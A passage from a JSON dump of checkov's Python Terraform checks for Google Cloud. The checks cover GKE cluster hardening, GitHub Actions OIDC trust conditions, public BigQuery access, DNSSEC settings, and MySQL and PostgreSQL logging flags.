['min_master_version', 'pod_security_policy_config/[0]/enabled']\n                    return CheckResult.FAILED\n        return CheckResult.UNKNOWN\n\n\ncheck = GKEPodSecurityPolicyEnabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GKEPrivateClusterConfig.py",
    "content": "from typing import Any\n\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.common.models.consts import ANY_VALUE\n\n\nclass GKEPodSecurityPolicyEnabled(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure Kubernetes Cluster is created with Private cluster enabled\"\n        id = \"CKV_GCP_25\"\n        supported_resources = (\"google_container_cluster\",)\n        categories = (CheckCategories.KUBERNETES,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"private_cluster_config\"\n\n    def get_expected_value(self) -> Any:\n        return ANY_VALUE\n\n\ncheck = GKEPodSecurityPolicyEnabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GKEPrivateNodes.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.common.models.consts import ANY_VALUE\n\n\nclass GKEPrivateNodes(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure clusters are created with Private Nodes\"\n        id = \"CKV_GCP_64\"\n        supported_resources = ['google_container_cluster']\n        categories = [CheckCategories.KUBERNETES]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'private_cluster_config'\n\n    def get_expected_values(self):\n        return [ANY_VALUE]\n\n\ncheck = GKEPrivateNodes()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GKEPublicControlPlane.py",
    "content": "from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\n\n\nclass GKEPublicControlPlane(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure GKE Control Plane is not public\"\n        id = \"CKV_GCP_18\"\n        supported_resources = ['google_container_cluster']\n        categories = [CheckCategories.KUBERNETES]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        \"\"\"\n            Looks for password configuration at azure_instance:\n            https://www.terraform.io/docs/providers/google/r/compute_ssl_policy.html\n        :param conf: google_compute_ssl_policy configuration\n        :return: <CheckResult>\n        \"\"\"\n        if 'master_authorized_networks_config' in conf.keys():\n            self.evaluated_keys = ['master_authorized_networks_config']\n            master_authorized_networks_conf = conf['master_authorized_networks_config'][0]\n            if isinstance(master_authorized_networks_conf, dict) and 'cidr_blocks' in master_authorized_networks_conf:\n                cidr_blocks_conf = master_authorized_networks_conf['cidr_blocks']\n                for cidr_block_conf in cidr_blocks_conf:\n                    if isinstance(cidr_block_conf, dict) and '0.0.0.0/0' in cidr_block_conf['cidr_block']:  # nosec\n                        self.evaluated_keys = [f'master_authorized_networks_config/[0]/cidr_blocks/'\n                                               f'[{cidr_blocks_conf.index(cidr_block_conf)}]/cidr_block']\n                        return CheckResult.FAILED\n                self.evaluated_keys = ['master_authorized_networks_config/[0]/cidr_blocks']\n        return CheckResult.PASSED\n\n\ncheck = GKEPublicControlPlane()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GKEReleaseChannel.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.common.models.consts import ANY_VALUE\n\n\nclass ReleaseChannel(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure the GKE Release Channel is set\"\n        id = \"CKV_GCP_70\"\n        supported_resources = ['google_container_cluster']\n        categories = [CheckCategories.KUBERNETES]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'release_channel/[0]/channel'\n\n    def get_expected_values(self):\n        return [ANY_VALUE]\n\n\ncheck = ReleaseChannel()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GKESecureBootforShieldedNodes.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass GKESecureBootforShieldedNodes(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure Secure Boot for Shielded GKE Nodes is Enabled\"\n        id = \"CKV_GCP_68\"\n        supported_resources = ['google_container_cluster', 'google_container_node_pool']\n        categories = [CheckCategories.KUBERNETES]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        if 'node_config' in conf.keys():\n            node = conf[\"node_config\"][0]\n            if isinstance(node, dict) and 'shielded_instance_config' in node:\n                monitor = node[\"shielded_instance_config\"][0]\n                if monitor.get(\"enable_secure_boot\", None) == [True]:\n                    return CheckResult.PASSED\n                else:\n                    return CheckResult.FAILED\n            else:\n                # as default is true this is a pass\n                return CheckResult.FAILED\n        else:\n            return CheckResult.UNKNOWN\n\n    def get_inspected_key(self):\n        return 'node_config/[0]/shielded_instance_config/[0]/enable_secure_boot'\n\n    def get_expected_values(self):\n        return [True]\n\n\ncheck = GKESecureBootforShieldedNodes()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GKEUseCosImage.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass GKEUseCosImage(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure Container-Optimized OS (cos) is used for Kubernetes Engine Clusters Node image\"\n        id = \"CKV_GCP_22\"\n        supported_resources = ['google_container_node_pool']\n        categories = [CheckCategories.KUBERNETES]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        \"\"\"\n        CKV_GCP_22\n        This a legacy check, Creation of node pools using node images based on Docker\n        container runtimes is not supported in GKE v1.24+ clusters as Dockershim has been removed in Kubernetes v1.24.\n        \"\"\"\n        if conf.get('version') and isinstance(conf.get('version'), list):\n            raw = conf.get('version')[0]\n            splitter = raw.split(\".\")\n\n            if len(splitter) >= 2:\n                try:\n                    version = float(splitter[0] + \".\" + splitter[1])\n                except (ValueError, IndexError):\n                    return CheckResult.UNKNOWN\n                if version >= 1.24:\n                    return CheckResult.UNKNOWN\n\n                if 'node_config' in conf:\n                    node_config = conf.get('node_config', [{}])[0]\n                self.evaluated_keys = ['node_config']\n                if not isinstance(node_config, dict):\n                    return CheckResult.UNKNOWN\n\n                if conf.get('node_config', [{}])[0].get('image_type', [''])[0].lower().startswith('cos'):\n                    self.evaluated_keys = ['node_config/[0]/image_type']\n                    return CheckResult.PASSED\n                if conf.get('remove_default_node_pool', [{}])[0]:\n                    self.evaluated_keys.append('remove_default_node_pool')\n                    return CheckResult.PASSED\n            return CheckResult.FAILED\n\n        return CheckResult.UNKNOWN\n\n\ncheck = GKEUseCosImage()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GithubActionsOIDCTrustPolicy.py",
    "content": "from typing import Dict, Any, List\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.common.util.oidc_utils import gh_abusable_claims, gh_repo_regex\nimport re\nimport logging\n\n\nclass GithubActionsOIDCTrustPolicy(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure GCP GitHub Actions OIDC trust policy is configured securely\"\n        id = \"CKV_GCP_125\"\n        supported_resources = [\"google_iam_workload_identity_pool_provider\"]\n        categories = (CheckCategories.IAM,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def extract_sub_claim_value(self, condition: str) -> str:\n        \"\"\"Extract the claim value from the condition string.\"\"\"\n        if not condition:\n            return \"\"\n\n        # Handle both single and double quotes\n        claim_match = re.search(r\"assertion\\.sub\\s*==\\s*['\\\"]([^'\\\"]+)['\\\"]\", condition)\n        if claim_match:\n            return claim_match.group(1)\n        return \"\"\n\n    def scan_resource_conf(self, conf: Dict[str, List[Any]]) -> CheckResult:\n        \"\"\"Scans the configuration for GitHub Actions OIDC trust policy\"\"\"\n        try:\n            # Check issuer URI\n            # If it's not OIDC or GitHub Actions URI, then pass\n            issuer_oidc = conf.get(\"oidc\")[0]\n            if not issuer_oidc:\n                return CheckResult.PASSED\n            else:\n                issuer_uri = issuer_oidc.get(\"issuer_uri\", [None])[0]\n                if not issuer_uri or issuer_uri != \"https://token.actions.githubusercontent.com\":\n                    return CheckResult.PASSED\n\n            # Check attribute mapping\n            attribute_mapping = conf.get(\"attribute_mapping\")\n            if not attribute_mapping or not isinstance(attribute_mapping, list) or not attribute_mapping[0]:\n                return CheckResult.FAILED\n            attribute_mapping = attribute_mapping[0]\n            if not attribute_mapping or \"google.subject\" not in attribute_mapping:\n                return CheckResult.FAILED\n\n            # Check attribute condition\n            attribute_condition = conf.get(\"attribute_condition\", False)[0]\n            if not attribute_condition:\n                return CheckResult.FAILED\n\n            # Extract claim value\n            sub_claim_value = self.extract_sub_claim_value(attribute_condition)\n            if not sub_claim_value:\n                return CheckResult.FAILED\n\n            # If no colons - it means we assert something the value without the claim name, which is invalid when using GitHub Actions OIDC\n            if \":\" not in sub_claim_value:\n                return CheckResult.FAILED\n\n            # Break by colons; Since we already checked for the presence of colons, we can safely assume that the claim is in the form of claim_name:claim_value\n            claim_parts = sub_claim_value.split(\":\")\n            # Check if the first claim or value are wildcards - if yes, the assertion is checking nothing\n            if claim_parts[0] == \"*\" or claim_parts[1] == \"*\":\n                return CheckResult.FAILED\n\n            # Check if the first claim is an abusable claim - if yes, the whole assertion can be abused\n            if claim_parts[0] in gh_abusable_claims:\n                return CheckResult.FAILED\n\n            # Lastly, check for the classic \"repo\" claim\n            if claim_parts[0] == \"repo\":\n                # Check if the repo claim is in the form of org/repo\n                if not gh_repo_regex.match(claim_parts[1]):\n                    return CheckResult.FAILED\n\n            return CheckResult.PASSED\n\n        except Exception as e:\n            logging.debug(f\"CKV_GCP_125 failed with exception: {str(e)}\")\n            return CheckResult.FAILED\n\n        def get_evaluated_keys(self) -> List[str]:\n            return [\"attribute_condition\", \"attribute_mapping\", \"issuer_uri\"]\n\n\ncheck = GithubActionsOIDCTrustPolicy()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GoogleBigQueryDatasetPublicACL.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\n\nALLOWED_ACCESS_TYPES = (\n    \"user_by_email\",\n    \"group_by_email\",\n    \"domain\",\n    \"view\",\n    \"routine\",\n    \"dataset\",\n)\n\n\nclass GoogleBigQueryDatasetPublicACL(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that BigQuery datasets are not anonymously or publicly accessible\"\n        id = \"CKV_GCP_15\"\n        supported_resources = (\"google_bigquery_dataset\",)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        \"\"\"\n            Looks for ACL configuration at bigquery_dataset:\n            https://www.terraform.io/docs/providers/google/r/bigquery_dataset.html#access\n        :param conf: bigquery_dataset configuration\n        :return: <CheckResult>\n        \"\"\"\n        if \"access\" in conf.keys():\n            for access in conf[\"access\"]:\n                if \"special_group\" in access:\n                    if access[\"special_group\"] in [[\"allAuthenticatedUsers\"], [\"allUsers\"]]:\n                        self.evaluated_keys = [f'access/[{conf[\"access\"].index(access)}]/special_group']\n                        return CheckResult.FAILED\n                # access block with only the role key found in the statefile\n                # when manually adding \"allUsers\" to the dataset\n                elif not any(key in access for key in ALLOWED_ACCESS_TYPES):\n                    self.evaluated_keys = [f'access/[{conf[\"access\"].index(access)}]']\n                    return CheckResult.FAILED\n            self.evaluated_keys = ['access']\n        return CheckResult.PASSED\n\n\ncheck = GoogleBigQueryDatasetPublicACL()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GoogleCloudDNSKeySpecsRSASHA1.py",
    "content": "from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\n\n\nclass GoogleCloudDNSKeySpecsRSASHA1(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure that RSASHA1 is not used for the zone-signing and key-signing keys in Cloud DNS DNSSEC\"\n        id = \"CKV_GCP_17\"\n        supported_resources = [\"google_dns_managed_zone\"]\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        \"\"\"\n            Looks for DNSSEC key algorithm at dns_managed_zone:\n            https://www.terraform.io/docs/providers/google/r/dns_managed_zone.html#algorithm\n        :param conf: dns_managed_zone configuration\n        :return: <CheckResult>\n        \"\"\"\n        if \"dnssec_config\" in conf.keys():\n            dnssec_config = conf[\"dnssec_config\"][0]\n            self.evaluated_keys = ['dnssec_config']\n            # default algo RSASHA256 as per the documentation:\n            # https://cloud.google.com/dns/docs/dnssec-advanced#advanced-signing-options\n            if \"default_key_specs\" in dnssec_config:\n                for default_key_specs in dnssec_config[\"default_key_specs\"]:\n                    if \"algorithm\" in default_key_specs and default_key_specs[\"algorithm\"] == [\"rsasha1\"]:\n                        self.evaluated_keys = [f'dnssec_config/[0]/default_key_specs/'\n                                               f'[{dnssec_config[\"default_key_specs\"].index(default_key_specs)}]/'\n                                               f'algorithm']\n                        return CheckResult.FAILED\n                self.evaluated_keys = ['dnssec_config/[0]/default_key_specs']\n        return CheckResult.PASSED\n\n\ncheck = GoogleCloudDNSKeySpecsRSASHA1()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GoogleCloudDNSSECEnabled.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories, CheckResult\n\n\nclass GoogleCloudDNSSECEnabled(BaseResourceValueCheck):\n    \"\"\"\n    Looks for DNSSEC state at dns_managed_zone:\n    https://www.terraform.io/docs/providers/google/r/dns_managed_zone.html#state\n    \"\"\"\n\n    def __init__(self):\n        name = \"Ensure that DNSSEC is enabled for Cloud DNS\"\n        id = \"CKV_GCP_16\"\n        supported_resources = [\"google_dns_managed_zone\"]\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n\n        if 'visibility' in conf:\n            if conf['visibility'][0] == 'private':\n                return CheckResult.UNKNOWN  # check is irrelevant (cannot set DNSSEC to anything else)\n\n        # default visibility is public; just use base class implementation\n        return super().scan_resource_conf(conf)\n\n    def get_inspected_key(self):\n        return \"dnssec_config/[0]/state\"\n\n    def get_expected_value(self):\n        return \"on\"\n\n    def get_expected_values(self):\n        return [self.get_expected_value(), \"transfer\"]\n\n\ncheck = GoogleCloudDNSSECEnabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GoogleCloudMySqlLocalInfileOff.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass GoogleCloudMySqlLocalInfileOff(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure MySQL database 'local_infile' flag is set to 'off'\"\n        check_id = \"CKV_GCP_50\"\n        supported_resources = ['google_sql_database_instance']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=check_id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        \"\"\"\n            Looks for google_sql_database_instance which enables local_infile:\n            :param\n            conf: google_sql_database_instance\n            configuration\n            :return: < CheckResult >\n        \"\"\"\n        if 'database_version' in conf.keys() and isinstance(conf['database_version'][0], str) and 'MYSQL' in conf['database_version'][0]:\n            if 'settings' in conf.keys():\n                self.evaluated_keys = ['database_version/[0]/MYSQL', 'settings']\n                flags = conf['settings'][0].get('database_flags')\n                if flags:\n                    evaluated_keys_prefix = 'settings/[0]/database_flags'\n                    if isinstance(flags[0], list):\n                        # treating use cases of the following database_flags parsing\n                        # (list of list of dictionaries with strings):'database_flags':\n                        # [[{'name': '<key>', 'value': '<value>'}, {'name': '<key>', 'value': '<value>'}]]\n                        flags = flags[0]\n                        evaluated_keys_prefix += '/[0]'\n                    else:\n                        # treating use cases of the following database_flags parsing\n                        # (list of dictionaries with arrays): 'database_flags':\n                        # [{'name': ['<key>'], 'value': ['<value>']},{'name': ['<key>'], 'value': ['<value>']}]\n                        flags = [{key: flag[key][0] for key in flag} for flag in flags]\n                    for flag in flags:\n                        if isinstance(flag, dict) and flag['name'] == 'local_infile' and flag['value'] == 'on':\n                            self.evaluated_keys = ['database_version/[0]/MYSQL',\n                                                   f'{evaluated_keys_prefix}/[{flags.index(flag)}]/name',\n                                                   f'{evaluated_keys_prefix}/[{flags.index(flag)}]/value']\n                            return CheckResult.FAILED\n                    self.evaluated_keys = ['database_version/[0]/MYSQL', 'settings/[0]/database_flags']\n            return CheckResult.PASSED\n        return CheckResult.UNKNOWN\n\n\ncheck = GoogleCloudMySqlLocalInfileOff()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GoogleCloudPostgreSqlEnablePgaudit.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.gcp.AbsGooglePostgresqlDatabaseFlags import AbsGooglePostgresqlDatabaseFlags\n\nFLAG_NAME = 'cloudsql.enable_pgaudit'\nFLAG_VALUES = ['on']\n\n\nclass GoogleCloudPostgreSqlEnablePgaudit(AbsGooglePostgresqlDatabaseFlags):\n    def __init__(self):\n        name = \"Ensure pgAudit is enabled for your GCP PostgreSQL database\"\n        check_id = \"CKV_GCP_110\"\n        supported_resources = ['google_sql_database_instance']\n        categories = [CheckCategories.LOGGING]\n        super().__init__(\n            name=name,\n            id=check_id,\n            categories=categories,\n            supported_resources=supported_resources,\n            flag_name=FLAG_NAME,\n            flag_values=FLAG_VALUES\n        )\n\n\ncheck = GoogleCloudPostgreSqlEnablePgaudit()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GoogleCloudPostgreSqlLogCheckpoints.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass GoogleCloudPostgreSqlLogCheckpoints(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure PostgreSQL database 'log_checkpoints' flag is set to 'on'\"\n        check_id = \"CKV_GCP_51\"\n        supported_resources = ('google_sql_database_instance',)\n        categories = (CheckCategories.LOGGING,)\n        super().__init__(name=name, id=check_id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        \"\"\"\n            Looks for google_sql_database_instance which allows enables log checkouts on PostgreSQL DBs:\n            :param\n            conf: google_sql_database_instance\n            configuration\n            :return: < CheckResult >\n        \"\"\"\n        if 'database_version' in conf.keys() and isinstance(conf['database_version'][0], str) and 'POSTGRES' in conf['database_version'][0]:\n            if 'settings' in conf.keys():\n                self.evaluated_keys = ['database_version/[0]/POSTGRES', 'settings']\n                flags = conf['settings'][0].get('database_flags')\n                if flags:\n                    evaluated_keys_prefix = 'settings/[0]/database_flags'\n                    if isinstance(flags[0], list):  # treating use cases of the following database_flags parsing (list of list of dictionaries with strings):'database_flags': [[{'name': '<key>', 'value': '<value>'}, {'name': '<key>', 'value': '<value>'}]]\n                        flags = flags[0]\n                        evaluated_keys_prefix += '/[0]'\n                    else:  # treating use cases of the following database_flags parsing (list of dictionaries with arrays): 'database_flags': [{'name': ['<key>'], 'value': ['<value>']},{'name': ['<key>'], 'value': ['<value>']}]\n                        flags = [{key: flag[key][0] for key in flag if key in ['name', 'value']} for flag in flags]\n                    for flag in flags:\n                        if (isinstance(flag, dict) and flag['name'] == 'log_checkpoints') and (flag['value'] == 'on'):  # Must be explicitly set for check to pass\n                            self.evaluated_keys = ['database_version/[0]/POSTGRES',\n                                                   f'{evaluated_keys_prefix}/[{flags.index(flag)}]/name',\n                                                   f'{evaluated_keys_prefix}/[{flags.index(flag)}]/value']\n                            return CheckResult.PASSED\n                    self.evaluated_keys = ['database_version/[0]/POSTGRES', 'settings/[0]/database_flags']\n            return CheckResult.FAILED\n        return CheckResult.UNKNOWN\n\n\ncheck = GoogleCloudPostgreSqlLogCheckpoints()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GoogleCloudPostgreSqlLogConnection.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass GoogleCloudPostgreSqlLogConnection(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure PostgreSQL database 'log_connections' flag is set to 'on'\"\n        check_id = \"CKV_GCP_52\"\n        supported_resources = ['google_sql_database_instance']\n        categories = [CheckCategories.LOGGING]\n        super().__init__(name=name, id=check_id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        \"\"\"\n            Looks for google_sql_database_instance which allows log connections on PostgreSQL DBs::\n            :param\n            conf: google_sql_database_instance\n            configuration\n            :return: < CheckResult >\n        \"\"\"\n        if 'database_version' in conf.keys() and isinstance(conf['database_version'][0], str) and 'POSTGRES' in conf['database_version'][0]:\n            if 'settings' in conf.keys():\n                self.evaluated_keys = ['database_version/[0]/POSTGRES', 'settings']\n                flags = conf['settings'][0].get('database_flags')\n                if flags:\n                    evaluated_keys_prefix = 'settings/[0]/database_flags'\n                    if isinstance(flags[0], list):  # treating use cases of the following database_flags parsing (list of list of dictionaries with strings):'database_flags': [[{'name': '<key>', 'value': '<value>'}, {'name': '<key>', 'value': '<value>'}]]\n                        flags = flags[0]\n                        evaluated_keys_prefix += '/[0]'\n                    else:  # treating use cases of the following database_flags parsing (list of dictionaries with arrays): 'database_flags': [{'name': ['<key>'], 'value': ['<value>']},{'name': ['<key>'], 'value': ['<value>']}]\n                        flags = [{key: flag[key][0] for key in flag if key in ['name', 'value']} for flag in flags]\n                    for flag in flags:\n                        if (isinstance(flag, dict) and flag['name'] == 'log_connections') and (flag['value'] == 'on'):  # Must be explicitly set for check to pass\n                            self.evaluated_keys = ['database_version/[0]/POSTGRES',\n                                                   f'{evaluated_keys_prefix}/[{flags.index(flag)}]/name',\n                                                   f'{evaluated_keys_prefix}/[{flags.index(flag)}]/value']\n                            return CheckResult.PASSED\n                    self.evaluated_keys = ['database_version/[0]/POSTGRES', 'settings/[0]/database_flags']\n\n            return CheckResult.FAILED\n        return CheckResult.UNKNOWN\n\n\ncheck = GoogleCloudPostgreSqlLogConnection()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GoogleCloudPostgreSqlLogDisconnection.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass GoogleCloudPostgreSqlLogDisconnection(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure PostgreSQL database 'log_disconnections' flag is set to 'on'\"\n        check_id = \"CKV_GCP_53\"\n        supported_resources = ['google_sql_database_instance']\n        categories = [CheckCategories.LOGGING]\n        super().__init__(name=name, id=check_id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        \"\"\"\n            Looks for google_sql_database_instance which allows log disconnections on PostgreSQL DBs::\n            :param\n            conf: google_sql_database_instance\n            configuration\n            :return: < CheckResult >\n        \"\"\"\n        if 'database_version' in conf.keys() and isinstance(conf['database_version'][0], str) and 'POSTGRES' in conf['database_version'][0]:\n            if 'settings' in conf.keys():\n                self.evaluated_keys = ['database_version/[0]/POSTGRES', 'settings']\n                flags = conf['settings'][0].get('database_flags')\n                if flags:\n                    evaluated_keys_prefix = 'settings/[0]/database_flags'\n                    if isinstance(flags[0], list):\n                        # treating use cases of the following database_flags parsing\n                        # (list of list of dictionaries with strings):'database_flags':\n                        # [[{'name': '<key>', 'value': '<value>'}, {'name': '<key>', 'value': '<value>'}]]\n                        flags = flags[0]\n                        evaluated_keys_prefix += '/[0]'\n                    else:\n                        # treating use cases of the following database_flags parsing\n                        # (list of dictionaries with arrays): 'database_flags':\n                        # [{'name': ['<key>'], 'value': ['<value>']},{'name': ['<key>'], 'value': ['<value>']}]\n                        flags = [{key: flag[key][0] for key in flag if key in ['name', 'value']} for flag in flags]\n                    for flag in flags:\n                        if (isinstance(flag, dict) and flag['name'] == 'log_disconnections') and (flag['value'] == 'on'):  # Must be explicitly set for check to pass\n                            self.evaluated_keys = ['database_version/[0]/POSTGRES',\n                                                   f'{evaluated_keys_prefix}/[{flags.index(flag)}]/name',\n                                                   f'{evaluated_keys_prefix}/[{flags.index(flag)}]/value']\n                            return CheckResult.PASSED\n                    self.evaluated_keys = ['database_version/[0]/POSTGRES', 'settings/[0]/database_flags']\n\n            return CheckResult.FAILED\n        return CheckResult.UNKNOWN\n\n\ncheck = GoogleCloudPostgreSqlLogDisconnection()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GoogleCloudPostgreSqlLogHostname.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.gcp.AbsGooglePostgresqlDatabaseFlags import AbsGooglePostgresqlDatabaseFlags\n\nFLAG_NAME = 'log_hostname'\nFLAG_VALUES = ['on']\n\n\nclass GoogleCloudPostgreSqlLogHostname(AbsGooglePostgresqlDatabaseFlags):\n    def __init__(self):\n        name = \"Ensure hostnames are logged for GCP PostgreSQL databases\"\n        check_id = \"CKV_GCP_108\"\n        supported_resources = ['google_sql_database_instance']\n        categories = [CheckCategories.LOGGING]\n        super().__init__(\n            name=name,\n            id=check_id,\n            categories=categories,\n            supported_resources=supported_resources,\n            flag_name=FLAG_NAME,\n            flag_values=FLAG_VALUES\n        )\n\n\ncheck = GoogleCloudPostgreSqlLogHostname()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GoogleCloudPostgreSqlLogLockWaits.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass GoogleCloudPostgreSqlLogLockWaits(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure PostgreSQL database 'log_lock_waits' flag is set to 'on'\"\n        check_id = \"CKV_GCP_54\"\n        supported_resources = ['google_sql_database_instance']\n        categories = [CheckCategories.LOGGING]\n        super().__init__(name=name, id=check_id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        \"\"\"\n            Looks for google_sql_database_instance which allows log lock waits on PostgreSQL DBs::\n            :param\n            conf: google_sql_database_instance\n            configuration\n            :return: < CheckResult >\n        \"\"\"\n        if 'database_version' in conf.keys() and isinstance(conf['database_version'][0], str) and 'POSTGRES' in conf['database_version'][0]:\n            if 'settings' in conf.keys():\n                self.evaluated_keys = ['database_version/[0]/POSTGRES', 'settings']\n                flags = conf['settings'][0].get('database_flags')\n                if flags:\n                    evaluated_keys_prefix = 'settings/[0]/database_flags'\n                    if isinstance(flags[0], list):\n                        # treating use cases of the following database_flags parsing\n                        # (list of list of dictionaries with strings):'database_flags':\n                        # [[{'name': '<key>', 'value': '<value>'}, {'name': '<key>', 'value': '<value>'}]]\n                        flags = flags[0]\n                        evaluated_keys_prefix += '/[0]'\n                    else:\n                        # treating use cases of the following database_flags parsing\n                        # (list of dictionaries with arrays): 'database_flags':\n                        # [{'name': ['<key>'], 'value': ['<value>']},{'name': ['<key>'], 'value': ['<value>']}]\n                        flags = [{key: flag[key][0] for key in flag} for flag in flags]\n                    for flag in flags:\n                        if (isinstance(flag, dict) and flag['name'] == 'log_lock_waits') and (flag['value'] == 'on'):  # Must be explicitly set for check to pass\n                            self.evaluated_keys = ['database_version/[0]/POSTGRES',\n                                                   f'{evaluated_keys_prefix}/[{flags.index(flag)}]/name',\n                                                   f'{evaluated_keys_prefix}/[{flags.index(flag)}]/value']\n                            return CheckResult.PASSED\n                    self.evaluated_keys = ['database_version/[0]/POSTGRES', 'settings/[0]/database_flags']\n\n            return CheckResult.FAILED\n        return CheckResult.UNKNOWN\n\n\ncheck = GoogleCloudPostgreSqlLogLockWaits()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GoogleCloudPostgreSqlLogMinDuration.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass GoogleCloudPostgreSqlLogMinDuration(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure PostgreSQL database 'log_min_duration_statement' flag is set to '-1'\"\n        check_id = \"CKV_GCP_57\"\n        supported_resources = ['google_sql_database_instance']\n        categories = [CheckCategories.LOGGING]\n        super().__init__(name=name, id=check_id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        \"\"\"\n            Looks for google_sql_database_instance which allows log min duration statement is set to '-1'\n            on PostgreSQL DBs::\n            :param\n            conf: google_sql_database_instance\n            configuration\n            :return: < CheckResult >\n        \"\"\"\n        if 'database_version' in conf.keys() and isinstance(conf['database_version'][0], str) and 'POSTGRES' in conf['database_version'][0]:\n            if 'settings' in conf.keys():\n                self.evaluated_keys = ['database_version/[0]/POSTGRES', 'settings']\n                flags = 